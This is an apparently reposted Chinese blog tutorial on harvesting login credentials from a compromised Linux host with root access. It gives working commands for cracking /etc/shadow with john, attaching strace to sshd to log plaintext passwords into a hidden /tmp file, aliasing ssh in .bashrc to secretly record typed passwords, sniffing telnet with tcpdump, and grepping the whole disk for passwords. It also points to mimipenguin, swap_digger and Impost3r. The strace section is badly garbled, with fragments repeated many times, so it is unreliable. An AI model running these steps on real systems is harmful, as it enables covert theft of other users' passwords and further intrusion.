不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

Linux下登录凭证窃取技巧

当获得一台主机的root权限,我们总是会想办法通过收集各种密码凭证,以便继续扩大战果。Linux下的环境,相对比更纯粹一些,介绍几个比较常见的技巧和工具。

关键词:凭证窃取、口令收集、密码抓取、密码嗅探


01、history记录敏感操作

Linux系统会自动把用户的操作命令记录到历史列表中,当用户在命令行中输入账号、密码进行登录时,将会导致敏感信息泄露。

02、shadow文件破解

shadow用于存储 Linux 系统中用户的密码信息,以一个用例来说明:

root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::

密码域密文由三部分组成,即:$idsalt$encrypted。当id=1,采用md5进行加密,弱口令容易被破解。

当id为5时,采用SHA256进行加密,id为6时,采用SHA512进行加密,可以通过john进行暴力破解。

wget https://www.openwall.com/john/k/john-1.9.0.tar.gz tar -zxvf john-1.9.0.tar.gz make clean linux-x86-64  ./john /etc/shadow

03、mimipenguin抓取密码

一款Linux下的密码抓取神器,需要root权限运行,通过转储进程并提取很可能包含明文密码的行来利用内存中的明文凭证,目前支持Kali、Ubnutu等操作系统。

Github地址:

https://github.com/huntergregal/mimipenguin

04、使用Strace收集登录凭证

strace是一个动态跟踪工具,堪比键盘记录器的存在,可用来收集登录凭证。

(1)获取sshd进程明文密码

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在来匹配用户和密码

# 查找用户名和密码 grep -E 'read\(6, ".+\
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
\
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
\
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
\\.+"'
/tmp/.sshd.log
# 结果形式如下[pid 2401] 22:34:34 read(6, "
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
root"
, 9) = 9
[pid 2401] 22:34:34 read(6, "
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
ssh-connection
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
"
, 27) = 27
[pid 2401] 22:34:34 read(6, "\f
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
# 查找用户名和密码 grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log # 结果形式如下[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9 [pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27 [pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
toor"
, 9) = 9

(2)收集ssh登陆凭证

# 添加命令别名vi ~/.bashrc或者/etc/bashrcalias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'# 使命令别名立即生效source ~/.bashrc

通过grep 找到匹配行的后8行,可以根据密码长度调整行数

grep -A 9 'password' .ssh-25Sep091601017212.log

05、tcpdump 抓包分析

抓取数据包进行分析,获取明文账号密码,比如ftp、telnet、http。

tcpdump -i ens33 port 23 -w test.cap

06、全盘搜索敏感信息

全局搜索配置文件、脚本、数据库、日志文件是否有包含密码。

grep -rn "password=" /

07、swap_digger

一个用于自动进行Linux交换分析bash脚本,自动进行交换提取,并搜索Linux用户凭据,Web表单凭据,Web表单电子邮件,HTTP基本身份验证,WiFi SSID和密钥等。

github项目地址:

https://github.com/sevagas/swap_digger

08、Impost3r

一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具。

github项目地址:

https://github.com/ph4ntonn/Impost3r

转自:bypass

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » Linux下登录凭证窃取技巧

相关推荐

  • 暂无文章

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏